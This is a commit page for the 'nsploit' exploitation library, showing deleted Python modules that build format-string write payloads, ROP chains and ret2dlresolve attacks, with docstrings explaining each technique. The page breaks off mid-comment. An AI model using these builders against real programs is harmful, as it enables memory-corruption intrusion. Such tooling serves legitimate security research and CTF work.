summaryrefslogtreecommitdiffstats
path: root/sploit/payload
diff options
context:
space:
mode:
authorMalfurious <m@lfurio.us>2025-01-02 19:17:34 -0500
committerMalfurious <m@lfurio.us>2025-01-04 23:54:51 -0500
commit0f00627964a4b2e515108401fa2cfe94600ad648 (patch)
tree56da2ccaf393a1124220cc187a7225a4efcfbcba /sploit/payload
parent640726aa11369d328c1cdfe00b4344b6a925729c (diff)
downloadnsploit-0f00627964a4b2e515108401fa2cfe94600ad648.tar.gz
nsploit-0f00627964a4b2e515108401fa2cfe94600ad648.zip
Rename sploit package to nsploit
Rename all affected files, references to file paths, and module imports within the code. Since this line of development represents a fork from the original sploit, a name change is seen as necessary to distinguish the projects, as well as allow them to be installed side by side. What does the "n" mean? Great question! You can think of it as meaning "new sploit" if you want, though that's not quite intended. The name is simply distinct and easy to pronounce. I had originally settled on "msploit" (something along the lines of "Malf's sploit"), but this name is too close to "metasploit" for me - and N is right next to it on the keyboard. Signed-off-by: Malfurious <m@lfurio.us>
Diffstat (limited to 'sploit/payload')
-rw-r--r--sploit/payload/__init__.py6
-rw-r--r--sploit/payload/fmtstring.py178
-rw-r--r--sploit/payload/gadhint.py98
-rw-r--r--sploit/payload/payload.py224
-rw-r--r--sploit/payload/payload_entry.py113
-rw-r--r--sploit/payload/ret2dlresolve.py226
-rw-r--r--sploit/payload/rop.py364
7 files changed, 0 insertions, 1209 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py
deleted file mode 100644
index da47cc1..0000000
--- a/sploit/payload/__init__.py
+++ /dev/null
@@ -1,6 +0,0 @@
-from .fmtstring import *
-from .gadhint import *
-from .payload import *
-from .payload_entry import *
-from .ret2dlresolve import *
-from .rop import *
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
deleted file mode 100644
index 54da6f2..0000000
--- a/sploit/payload/fmtstring.py
+++ /dev/null
@@ -1,178 +0,0 @@
-"""
-Exploit C-style format string vulnerabilities
-
-These techniques leverage functions such as printf, fprintf, sprintf, etc. when
-run on unchecked user input to perform arbitrary memory read or write. This is
-made possible by the unintended use of user input as the function's format
-string argument, instead of an ordinary data argument. Attackers may inject
-their own conversion specifiers, which act as operating instructions to the
-function. Interesting formatters include:
-
- %p Read argument value. These are the values of function argument
- registers and values from the stack. The value is printed as
- hexadecimal (with leading "0x") and interprets values as unsigned
- long (aka, same size as arch.wordsize).
-
- %s Read memory as asciiz string. Prints the data pointed to by
- argument value.
-
- %c Read argument as 8-bit character, printing the interpreted character
- value. This formatter is useful in combination with a field width
- specifier in order to print a controlled number of bytes to the
- output, which is meaningful to the next formatter.
-
- %n Write memory as integer. Prints no output, but writes the number of
- characters printed so far to the location pointed to by the argument
- pointer. A length modifier will control the bit-width of the
- integer written.
-
-See `man 3 printf` for more details.
-"""
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padrel
-
-_FMTSTR_MAGIC = b"\xcd"
-
-def _make_fmtstr_payload():
- # A typical layout will look like this:
- # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
- # ^ ^ ^ ^ ^ ^
- # fmt[0] fmt[1] nul | addrs[0] addrs[1]
- # align
- #
- # Many examples found online will demo placing addresses at the front. Eg:
- # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
- # This has the benefit that %n positional values are simple to calculate
- # (they just start at the payload position and increase by one). However,
- # any NULL bytes in the addresses break the exploit, since printf will stop
- # processing its string once a NULL is encountered.
- #
- # Moving addresses to the end mitigates this. Wordsize alignment is then
- # necessary to give for valid argument positions. We also intentionally
- # NULL terminate the format string portion of the payload to prevent printf
- # from processing beyond formatters.
- fp = Payload()
- fp.fmt = Payload()
- fp.null = b"\x00"
- fp.align = padalign(arch.wordsize)
- fp.addrs = Payload()
- return fp
-
-def _fixup_positionals(fp, position, offset=None):
- if offset is None:
- offset = fp.addrs.base // arch.wordsize
-
- fixup = _make_fmtstr_payload()
- fixup.addrs = fp.addrs
-
- for i, fmt in enumerate(fp.fmt):
- pos = position + offset + i
- fixup.fmt(fmt.decode().format(pos).encode())
-
- # String formatting positional values may grow the format string so much
- # as to cause the addrs offset to shift. Detect this and correct.
- check = fixup.addrs.base // arch.wordsize
- if offset != check:
- return _fixup_positionals(fp, position, check)
-
- return fixup
-
-def fmtstr_dump(start=None, end=None):
- """
- Return a format string payload which dumps annotated argument values.
-
- start (int): Starting argument position (default: 1)
- end (int): Ending argument position (default: start + 20)
- """
- if start is None: start = 1
- if end is None: end = start + 19 # inclusive, so 20 total arguments
-
- fp = Payload()
- fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
- fp.fmt = Payload()
- fp.null = b"\x00"
-
- for pos in range(start, end+1):
- if pos < len(arch.funcargs):
- label = arch.funcargs[pos]
- else:
- offset = (pos - len(arch.funcargs)) * arch.wordsize
- label = f"stack+{hex(offset)}"
-
- fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
-
- return fp
-
-def fmtstr_get(*positions, join=" "):
- """
- Return a format string payload which prints specific argument values.
-
- positions (*int): Argument positions
- join (str): Delimiter string
- """
- fp = Payload()
- fp.fmt = Payload()
- fp.null = join
-
- for p in positions:
- fp.fmt(f"{join}%{p}$p".encode())
-
- return fp
-
-def fmtstr_read(position, address):
- """
- Return a format string payload which reads data (as string, via %s).
-
- position (int): printf positional offset of payload on stack.
- address (int): Address of data to read.
- """
- fp = _make_fmtstr_payload()
- fp.fmt(b"%{}$s")
- fp.addrs(address)
- return _fixup_positionals(fp, position)
-
-def fmtstr_write(position, _data, _value=None):
- """
- Return a format string payload which writes data.
-
- One option for calling this function is to give a write destination in _data
- as an integer, and the value to write in _value.
-
- Alternatively, _data may contain a dictionary, with write destinations as
- keys and contents to write as values. _value is ignored in this case.
-
- In either case, the contents to write is generally expected to be bytes.
- However, integers are converted automatically via itob().
-
- position (int): printf positional offset of payload on stack.
- _data (int|dict{int:bytes}): Write data (see above)
- _value (int|bytes): Write value (see above)
- """
- # Convert from 2-argument style to dictionary.
- if type(_data) is int:
- _data = { _data: _value }
-
- pairs = {}
-
- # Collect each 2-byte word to write.
- for addr, value in _data.items():
- value = itob(value) if type(value) is int else bytes(value)
- words = [ value[i:i+2] for i in range(0, len(value), 2) ]
- words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
- pairs.update(words)
-
- fp = _make_fmtstr_payload()
- prev = 0
-
- # Craft writes.
- for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
- diff = word - prev
- prev = word
-
- size = "" if diff == 0 else f"%{diff}c"
- fp.fmt(f"{size}%{{}}$hn".encode())
- fp.addrs(addr)
-
- return _fixup_positionals(fp, position)
diff --git a/sploit/payload/gadhint.py b/sploit/payload/gadhint.py
deleted file mode 100644
index 1bef9f0..0000000
--- a/sploit/payload/gadhint.py
+++ /dev/null
@@ -1,98 +0,0 @@
-import copy
-from dataclasses import dataclass, field
-
-from sploit.rev.gadget import Gadget
-from sploit.types.index_entry import IndexEntry
-
-@dataclass
-class GadHint(IndexEntry):
- """
- User-annotated gadget description object
-
- base (Gadget|int): The gadget being annotated. May be a Gadget object or
- an offset as an int.
-
- pops (list[str]): The registers popped by this gadget, in order of
- occurrence.
-
- movs (dict{str:str}): The register-to-register moves made by this gadget.
- Keys are destination register names, values are source register names. The
- order given is insignificant.
-
- imms (dict{str:int}): The immediate-to-register loads made by this gadget.
- Keys are destination register names, values are immediate values. The order
- given is insignificant.
-
- writes (dict{str:str}): The register-to-memory stores made by this gadget.
- Keys are the destination register names (which hold memory addresses),
- values are source register names (which hold values to-be-stored). The
- order given is insignificant.
-
- requirements (dict{str:int}): The register state that is required before
- this gadget should be executed. Keys are register names, values are the
- required register values.
-
- stack (list[int]): A list of words to append to the stack following this
- gadget. The first element given is nearest to the top of the stack and the
- rest follow in order.
-
- align (bool): If True, this gadget expects the stack to be aligned prior
- to entry.
-
- syscall (bool): If True, this gadget contains a syscall instruction.
-
- spm (int): "Stack pointer move" - The amount the stack pointer is adjusted
- by this gadget. The effect of executing a terminating "return" instruction
- should not be accounted for. A value of zero is taken as "unspecified".
- """
-
- base: int = 0
- pops: list = field(default_factory=list)
- movs: dict = field(default_factory=dict)
- imms: dict = field(default_factory=dict)
- writes: dict = field(default_factory=dict)
- requirements: dict = field(default_factory=dict)
- stack: list = field(default_factory=list)
- align: bool = False
- syscall: bool = False
- spm: int = 0
-
- @property
- def offset(self):
- """Return gadget offset as an integer."""
- return int(self.base)
-
- def with_requirements(self, reqs):
- """Return new object with additional requirements."""
- for k, v in reqs.items():
- if self.requirements.get(k, v) != v:
- raise ValueError(
- f"GadHint: Conflicting gadget requirements: "
- f"{self.requirements}, {reqs}")
-
- new = copy.deepcopy(self)
- new.requirements |= reqs
- return new
-
- def __repr__(self):
- """Return human-readable GadHint."""
- def fmt(name, prop):
- if len(prop) > 0:
- return f", {name}={prop}"
- return ""
-
- s = hex(self.base)
- s = f"Gadget({s})" if isinstance(self.base, Gadget) else s
- s += fmt("pops", self.pops)
- s += fmt("movs", self.movs)
- s += fmt("imms", self.imms)
- s += fmt("writes", self.writes)
- s += fmt("requirements", self.requirements)
- s += fmt("stack", self.stack)
- if self.align:
- s += ", align"
- if self.syscall:
- s += ", syscall"
- if self.spm > 0:
- s += f", spm={self.spm}"
- return f"GadHint({s})"
diff --git a/sploit/payload/payload.py b/sploit/payload/payload.py
deleted file mode 100644
index 2a9521f..0000000
--- a/sploit/payload/payload.py
+++ /dev/null
@@ -1,224 +0,0 @@
-from sploit.arch import itob
-from sploit.payload.payload_entry import PayloadEntry
-from sploit.types.indextbl import IndexTbl
-from sploit.types.index_entry import IndexEntry
-from sploit.types.lict import Lict
-
-_REPR_DATA_LEN = 64
-
-class Payload(IndexTbl):
- """
- Binary payload builder
-
- This class provides an API for fluently specifying structured payloads from
- an assortment of input data. Payload "indices" are any bytes-like data,
- which includes some supported IndexEntry types as well as nested Payloads.
-
- Payload is an IndexTbl based on a Lict and features two main use-cases or
- syntaxes for interacting with data.
-
- The first method (the formal method) is through the use of normal index
- access via attributes or subscripts. In this case, element keys are usually
- given. When a new index is defined, it is inserted at the end of the
- payload. Modifications to existing indices change the data in-place, and
- this causes the content of the payload to shift around if the replaced data
- is of a different length.
-
- The second method (the quick method) is through the use of Payload's __call__
- method. This is a general purpose "quick action" method that, among other
- things, will insert data to the payload. If the Payload object is called
- with 1 or more arguments, the values of these arguments are appended to the
- payload in the order given. There is no way to specify keys using this
- option, so the data simply occupies unkeyed elements in the underlying Lict.
-
- In either case, the data inserted must be bytes-like. In some common cases,
- the data will be coerced into bytes. See the method __prep_insertion for
- details on how this is handled. See the PayloadEntry module for some
- additional features.
-
- When retrieving indices from the payload, instead of the element's value,
- either the element offset or (for IndexEntries) the value based at that
- offset is returned to you. If the payload has a non-zero base, this is
- interpreted as the element's address in memory. This is useful for any
- exploit that requires pointers to other crafted data.
-
- The binary output of a payload is simply the binary output of each of its
- elements, concatenated together - there are no gaps. If you need to space
- or separate two elements, you need to insert padding bytes between them.
- The element binary content is either the object itself (for bytes elements),
- the output from `payload_bytes()` (for PayloadEntries), or the output from
- `bytes(obj)` for everything else.
-
- The following is a simple example using the Payload module to perform a
- hypothetical stack buffer overrun "ret2win" with both of the build syntaxes:
-
- # 100 bytes from the start of the buffer to the saved frame pointer
- # call (return into) the function "pwned", given by an ELF Symtbl
- # 3 arguments, which are given on the stack
-
- # formal method
- p = Payload()
- p.smash = padlen(100)
- p.fp = placeholder()
- p.ret = elf.sym.pwned
- p.ret2 = placeholder()
- p.arg1 = 0
- p.arg2 = 1
- p.arg3 = 2
- io.write(bytes(p))
-
- # quick method
- p = Payload()(padlen(100), placeholder())
- p(elf.sym.pwned, placeholder(), 0, 1, 2)
- io.write(p())
- """
-
- def __init__(self, base=0, entries=None):
- """Construct new Payload with optional base and content."""
- super().__init__(base)
- if not isinstance(entries, Lict):
- entries = Lict(entries)
- object.__setattr__(self, "__entries__", entries)
-
- def __repr__(self):
- """Return human-readable Payload."""
- FMT = "\n{:<20} {:<20} {:<20}"
- s = f"{len(self.__entries__)} items, {len(self)} bytes @ {hex(self)}"
- memo = {}
-
- if len(self.__entries__) > 0:
- s += FMT.format("ADDRESS", "SYMBOL", "DATA")
-
- for i, value in enumerate(self.__entries__):
- key = self.__entries__.idx2key(i)
- key = "(unkeyed)" if key is None else str(key)
- key = f"[{key}]" if isinstance(value, IndexEntry) else key
-
- addr = self.__addrof(i, memo)
- data = str(self.__bytesof(i, memo))
- if len(data) > _REPR_DATA_LEN:
- data = data[:_REPR_DATA_LEN] + " ..."
-
- s += FMT.format(hex(addr), key, data)
-
- return s
-
- def __bytes__(self):
- """Return calculated payload bytes."""
- memo = {}
- x = [ self.__bytesof(i, memo) for i in range(len(self.__entries__)) ]
- return b"".join(x)
-
- def __call__(self, *args):
- """
- Payload quick-action call operator.
-
- If called with arguments, append these values to the payload in the
- order given. The payload (self) is returned for easily chaining calls.
-
- If called without arguments, return the rendered payload content as if
- `bytes(payload)` was called.
- """
- if len(args) == 0:
- return bytes(self)
-
- for value in args:
- value = self.__prep_insertion(value, self.end())
- self.__entries__.append(value)
-
- return self
-
- def end(self):
- """Return the offset or address of the end of the payload."""
- return self.base + len(self)
-
- # IndexTbl abstract methods
-
- def __copy__(self):
- """Return copy of object with shared data entries."""
- return Payload(self.base, self.__entries__)
-
- def __iter__(self):
- """Iterate over data entries."""
- return iter(self.__entries__)
-
- def __len__(self):
- """Return the size of the payload content in bytes."""
- memo = {}
- x = [ self.__lenof(i, memo) for i in range(len(self.__entries__)) ]
- return sum(x)
-
- def __getindex__(self, index):
- """Return payload index value or address."""
- value, _ = self.__valueof(index, {})
- return value
-
- def __setindex__(self, index, value):
- """Set payload index value."""
- try:
- addr = self.__addrof(index, {})
- except KeyError:
- addr = self.end()
- value = self.__prep_insertion(value, addr)
- self.__entries__[index] = value
-
- def __delindex__(self, index):
- """Delete payload index."""
- del self.__entries__[index]
-
- # Payload helpers
-
- def __valueof(self, index, memo):
- """Return a tuple (addr of value, literal value) for index."""
- value = self.__entries__[index]
- addr = self.__addrof(index, memo)
- if isinstance(value, IndexEntry):
- value @= addr
- return value, value
- return addr, value
-
- def __addrof(self, index, memo):
- """Return address (base + offset) for index."""
- index = self.__entries__.key2idx(index)
- try:
- return memo[index]
- except KeyError:
- sizes = [ self.__lenof(i, memo) for i in range(index) ]
- addr = self.base + sum(sizes)
- memo[index] = addr
- return addr
-
- def __lenof(self, index, memo):
- """Return element length for index."""
- _, value = self.__valueof(index, memo)
- if isinstance(value, PayloadEntry):
- return value.payload_len(self)
- return len(value)
-
- def __bytesof(self, index, memo):
- """Return byte output for index."""
- _, value = self.__valueof(index, memo)
- if isinstance(value, PayloadEntry):
- return value.payload_bytes(self)
- return bytes(value)
-
- def __prep_insertion(self, value, addr):
- """Initialize or type coerce input value for payload insert."""
- if isinstance(value, PayloadEntry):
- value @= addr
- value.payload_insert(self)
- return value
-
- if type(value) is str:
- value = value.encode() + b"\x00"
- elif type(value) is int:
- value = itob(value)
-
- try:
- # Confirm value supports our required operations
- len(value)
- bytes(value)
- except TypeError as ex:
- raise TypeError(f"Payload: Bad type {type(value)} given") from ex
-
- return value
diff --git a/sploit/payload/payload_entry.py b/sploit/payload/payload_entry.py
deleted file mode 100644
index 2f8dbdd..0000000
--- a/sploit/payload/payload_entry.py
+++ /dev/null
@@ -1,113 +0,0 @@
-from sploit.arch import arch, itob
-from sploit.types.index_entry import IndexEntry
-
-_PLACEHOLDER_MAGIC = b"\xef"
-
-class PayloadEntry(IndexEntry):
- """Base class for dynamic Payload entries"""
-
- def __repr__(self):
- """Return human-readable entry description."""
- return f"{self.__class__.__name__}{self.__dict__}"
-
- def payload_insert(self, payload):
- """
- Called on insert into a payload object.
-
- Override this method to perform any initialization which requires a
- reference to the payload object. self.base is set to the insertion
- location.
- """
- pass
-
- def payload_len(self, payload):
- """
- Called to compute size of this entry.
-
- Implement this method to calculate the length of this dynamic payload
- entry. self.base is set to the current entry address or offset.
- """
- raise NotImplementedError
-
- def payload_bytes(self, payload):
- """
- Called to generate bytes for this entry.
-
- Implement this method to generate the binary output for this dynamic
- payload entry. self.base is set to the current entry address or offset.
- """
- raise NotImplementedError
-
-# Concrete payload entry definitions
-
-class pointer(PayloadEntry):
- """Generate an integer which tracks the address of another payload field."""
-
- def __init__(self, target=None, math=None):
- self.target = target
- self.math = math
-
- def payload_len(self, payload):
- return arch.wordsize
-
- def payload_bytes(self, payload):
- if self.target is None:
- addr = self.base
- else:
- addr = payload[self.target]
- if callable(self.math):
- addr = self.math(addr)
- return itob(addr)
-
-class padlen(PayloadEntry):
- """Generate padding to reach a target payload length."""
-
- def __init__(self, size, data=None):
- self.size = size
- self.data = data
-
- def payload_len(self, payload):
- return self.size - (self.base - payload.base)
-
- def payload_bytes(self, payload):
- size = self.payload_len(payload)
- data = self.data or arch.nopcode
- if size < 0:
- raise ValueError("padding: Available space is negative")
- if (size := size / len(data)) != int(size):
- raise ValueError("padding: Element does not divide the space evenly")
- return data * int(size)
-
-class padabs(padlen):
- """Generate padding to reach a target absolute address."""
-
- def payload_len(self, payload):
- return self.size - self.base
-
-class padrel(padlen):
- """Generate a fixed length of padding (aka: length relative to self)."""
-
- def payload_len(self, payload):
- return self.size
-
-class padalign(padlen):
- """Generate padding to reach next aligned address."""
-
- def __init__(self, size=None, data=None, reference=0):
- self.size = size
- self.data = data
- self.reference = reference
-
- def payload_len(self, payload):
- size = self.size or arch.alignment
- return (self.reference - self.base) % size
-
-class placeholder(padlen):
- """Generate fixed length of magic bytes, one word length by default."""
-
- def __init__(self, size=None):
- self.size = size
- self.data = _PLACEHOLDER_MAGIC
-
- def payload_len(self, payload):
- return self.size or arch.wordsize
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
deleted file mode 100644
index 8862e22..0000000
--- a/sploit/payload/ret2dlresolve.py
+++ /dev/null
@@ -1,226 +0,0 @@
-"""
-Perform "Return to dlresolve" dynamic linker attack
-
-The ret2dlresolve technique is useful to defeat library ASLR against targets
-with partial relro (or less) and where no useable data leaks are available.
-This is specifically a workaround for ASLR of libraries such as libc, and
-addresses within the target executable are expected to be known (non-pic or
-otherwise).
-
-When a dynamic library call is performed normally, applications jump to code
-stubs in the .plt section to perform the actual relocation. This process relies
-on a couple of meta-data structures in the ELF object:
-
-Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
-cache the real subroutine address for later calls, as well as an info field
-describing the relocation. This info field contains a type subfield and an
-index into the ELF's symbol table for the symbol to be relocated.
-
-Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
-exploit, only the symbol name field is utilized (the others are set to zeroes).
-The name field is an offset into the ELF's string table, and the actual symbol
-name string can be found at this offset.
-
-All of the data tables mentioned above are located by their corresponding
-section in the ELF. The relocation process however does not perform any bounds
-checks to ensure the runtime data structures actually come from these sections.
-By forging custom structures, and ensuring they can be written into memory at
-precise locations, an attacker can trick the resolver to link any library
-function they desire by setting up the equivalent PLT function call via ROP.
-
-Read on for more background details:
-http://phrack.org/issues/58/4.html
-https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
-
-Structure definitions from your standard elf.h header:
-
-typedef struct {
- Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
- Elf32_Addr st_value; /* 4b Symbol value */
- Elf32_Word st_size; /* 4b Symbol size */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf32_Section st_shndx; /* 2b Section index */
-} Elf32_Sym;
-
-typedef struct {
- Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf64_Section st_shndx; /* 2b Section index */
- Elf64_Addr st_value; /* 8b Symbol value */
- Elf64_Xword st_size; /* 8b Symbol size */
-} Elf64_Sym;
-
-typedef struct {
- Elf32_Addr r_offset; /* 4b Address */
- Elf32_Word r_info; /* 4b Relocation type and symbol index */
-} Elf32_Rel;
-
-typedef struct {
- Elf64_Addr r_offset; /* 8b Address */
- Elf64_Xword r_info; /* 8b Relocation type and symbol index */
-} Elf64_Rel;
-
-Elf32_Rel.r_info = 0xAAAAAABB
- | |
- | type
- symidx
-
-Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
- | |
- symidx type
-"""
-
-from sploit.arch import arch, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen, pointer
-from sploit.payload.rop import ROP
-from sploit.rev.r2 import run_cmd
-
-_JMP_SLOT = 0x07
-
-def _symsize():
- # Size of Elf*_Sym, used for padding and indexing
- if arch.wordsize == 4: return 16
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _relsize():
- # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
- if arch.wordsize == 4: return 1
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _infoshift():
- # Partition subfields of Elf*_Rel.r_info
- if arch.wordsize == 4: return 8
- elif arch.wordsize == 8: return 32
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-class Ret2dlresolve(ROP):
- # Use constructor from ROP class
-
- def reloc(self, symbol_name):
- """
- Generate relocation structures for the function with given symbol name.
-
- The returned data structures are packed into a single Payload object.
- This payload must be written into the target's memory before attempting
- to use it with Ret2dlresolve.call(). Furthermore, the chosen write
- location must be assigned to the payload base property, so that internal
- pointers may take on the appropriate values.
-
- See Ret2dlresolve.determine_address() for advice on choosing a write
- location.
-
- symbol_name (str): Name of library function to link
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- strtab = binary.sym.sect['.dynstr']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- # Elf*_Rel.r_info
- info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
-
- # The sym structure is the most picky about its location in memory. So
- # it is listed first in the main dlres struct, which can be placed at
- # the desired location.
- sym = Payload()
- sym.name = pointer("symbol_string", lambda x: x - strtab)
- sym.pad = padlen(_symsize(), b"\x00")
- sym.symbol_string = symbol_name
-
- dlres = Payload()
- dlres.symalign = padalign(_symsize(), reference=symtab)
- dlres.sym = sym
- dlres.relalign = padalign(_relsize(), reference=jmprel)
- dlres.offset = pointer()
- dlres.info = pointer("sym", info)
- return dlres
-
- def determine_address(self, start=None, end=None, n=0):
- """
- Determine recommended address for relocation structures.
-
- There are a couple considerations to make when determining the memory
- locations. First of all, the location must be writable. More
- importantly, since most items are referred to by an array index, the
- structures themselves must be properly aligned, reference to the array
- origins.
-
- The payload returned from Ret2dlresolve.reloc() has some of these
- alignments built in, but one crucial one is not. The index implied by
- Elf*_Sym's offset from the symtab base is the same index used to lookup
- symbol version information, reference to versym. The data at this index
- must constitute a valid version half-word (16-bits). This function
- attempts to ensure that the coincident version info for any returned
- value is the data \x00\x00. Getting this wrong can cause the dlresolve
- routine to crash.
-
- start (int): Minimum address to recommend (default: .bss section address)
- end (int): Maximum address to recommend (default: end of memory page)
- n (int): Return the Nth useable address within the defined range
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- versym = binary.sym.sect['.gnu.version']
- bss = binary.sym.sect['.bss']
-
- if start is None: start = bss
- if end is None: end = (start & ~0xfff) + 0x1000
-
- zero_words = run_cmd(binary.path, "/x 0000")
- zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
-
- # Size of version entry is always 2 bytes.
- veroff = [ x - versym for x in zero_words ]
- idx = [ x//2 for x in veroff if x%2 == 0 ]
- symoff = [ x * _symsize() for x in idx ]
- addr = [ x + symtab for x in symoff ]
- addr = [ x for x in addr if start <= x < end ]
-
- if len(addr) > n:
- return addr[n]
-
- raise AssertionError("Ret2dlresolve: No suitable memory location")
-
- # Overrides ROP.call()
- def call(self, reloc, *params):
- """
- Return a ROP payload to call function via dynamic linker.
-
- reloc's base address must be set appropriately.
-
- reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
- *params (int): Remaining positional args are passed to function.
- """
- binary = self.objects[0]
- plt = binary.sym.sect['.plt']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- index = int(reloc.offset - jmprel) // _relsize()
-
- reqs = GadHint(requirements=register_params)
- call = GadHint(index, stack=stack_params)
- ret = GadHint(self.search_gadget(arch.ret))
-
- chain = Payload()
- try: chain.requirements = self.gadget(reqs).requirements
- except KeyError: pass
- chain.alignment = padalign(0, itob(ret))
- chain.plt = plt
- chain.call = self.gadget(call)
- return chain
diff --git a/sploit/payload/rop.py b/sploit/payload/rop.py
deleted file mode 100644
index 30467de..0000000
--- a/sploit/payload/rop.py
+++ /dev/null
@@ -1,364 +0,0 @@
-from graphlib import TopologicalSorter
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen
-
-_POP_MAGIC = 0xdead
-_SPM_MAGIC = b"\x69"
-_ERROR_MAGIC = 0xbaadc0de
-
-class ROP:
- """
- ROP chain generation tool
-
- This class contains methods for automating basic return-oriented programming
- workloads, such as loading register values and calling into arbitrary
- functions or syscalls. The tools are currently designed to work on x86
- (32 or 64 bit) and ARM (32 bit only).
-
- The main appeal of the ROP class is the ability to abstract away the manual
- construction of ROP chain data, and instead make declarative statements
- like "call this function with these arguments". The ROP class will also
- utilize its supplied binary objects to automatically find and use trivial
- gadgets.
-
- The user is able to provide annotations for more complicated gadgets, which
- help instruct the class how to incorporate them into a ROP chain. This is
- done with the GadHint dataclass. GadHint objects are provided to a ROP
- instance by including them in the Symtbl of one of the binary objects it is
- constructed with. If applicable, a user-supplied gadget will take
- precedence over automatic gadget searching. See the GadHint module to learn
- more about the descriptive attributes that are supported.
-
- objects (list[ELF]): The binary objects this ROP instance will consider for
- gadget searching. If one of these is the target executable binary, it
- should appear first in the list.
-
- safe_syscalls (bool): If True, require that automatically found syscall
- instructions are immediately followed by a return instruction.
-
- align_calls (bool): If True, ensure that the stack return address into
- function calls is aligned according to the architecture alignment property.
-
- clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop"
- stack data that is leftover from a function call. Required if attempting
- to make multiple calls that involve stack-based arguments.
- """
-
- def __init__(self, *objects, safe_syscalls=True, align_calls=True,
- clean_stack=True):
- """Construct new ROP builder."""
- self.objects = objects
- self.safe_syscalls = safe_syscalls
- self.align_calls = align_calls
- self.clean_stack = clean_stack
-
- def search_gadgets(self, *regexes, cont=False):
- """Return a list of matching gadgets, considering all objects."""
- results = []
- for obj in self.objects:
- results += obj.gadgets(*regexes, cont=cont)
- return results
-
- def search_gadget(self, *regexes):
- """Return the first matching gadget, considering all objects."""
- for obj in self.objects:
- try:
- return obj.gadget(*regexes)
- except:
- pass
- raise LookupError(
- f"ROP: Need to define gadget symbol for {'; '.join(regexes)}")
-
- def gadget(self, gadget):
- """
- Return a generic ROP payload.
-
- gadget (GadHint): Annotated gadget to prepare a chain from.
- """
- return self.__build_chain(gadget, {})
-
- def assign(self, **sets):
- """
- Return a ROP payload to control given registers.
-
- **sets (str:int): Keyword arguments specify register assignments to
- perform with this ROP chain. Argument names correspond to register
- names.
- """
- return self.gadget(GadHint(requirements=sets))
-
- def call(self, func, *params):
- """
- Return a ROP payload to call function.
-
- func (int): Entry address of function to call.
- *params (int): Remaining positional args are passed to func.
- """
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- gadget = GadHint(func, requirements=register_params, stack=stack_params,
- align=self.align_calls)
- return self.gadget(gadget)
-
- def syscall(self, *params):
- """
- Return a ROP payload to call kernel.
-
- *params (int): The first argument is the syscall number. Remaining
- positional arguments are passed to the syscall.
- """
- if len(params) > len(arch.kernargs):
- raise TypeError("ROP: Too many arguments passed to syscall. "
- f"Target architecture supports up to {len(arch.kernargs)-1}.")
-
- register_params = dict(zip(arch.kernargs, params))
- sc = self.__get_gadget("syscall", {})
- return self.gadget(sc.with_requirements(register_params))
-
- def memcpy(self, dst, src):
- """
- Return a ROP payload to write data into memory.
-
- dst (int): The destination memory address.
- src (bytes): The content to write.
- """
- data = Payload()
- for idx in range(0, len(src), arch.wordsize):
- word = btoi(src[idx:idx+arch.wordsize])
- data(self.gadget(self.__get_write(dst+idx, word)))
- return data
-
- def __get_hints(self):
- """Return all user-supplied gadget hints."""
- return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint]
-
- def __discover_requirements(self, seen, graph, current):
- """
- Populate gadget dependency graph.
-
- This function recursively looks up gadgets to ensure all necessary
- required gadgets can be found, and stores this information into the
- given graph object. Established dependencies encode the order that the
- chain builder should attempt to satisfy register requirements.
- Dependency loops are detected by the TopologicalSorter.
-
- seen (set): Set of (register,value) tuples we have already discovered.
- graph (TopologicalSorter): Dependency graph model object.
- current (GadHint): Current gadget we are processing.
- """
- for r, v in current.requirements.items():
- # We key on register name _and_ value because some gadgets may
- # only be capable of storing specific values in a target register.
- # Requiring a register to store different values may require the
- # use of multiple gadgets.
- if (r, v) not in seen:
- gadget = self.__get_gadget(r, current.requirements)
-
- # Add gadget's requirements to the dependency graph.
- # We say that each requirement is a 'successor' to this
- # current gadget 'r', so that the chain builder will satisfy
- # 'r' first. This prevents the fulfillment of 'r' from
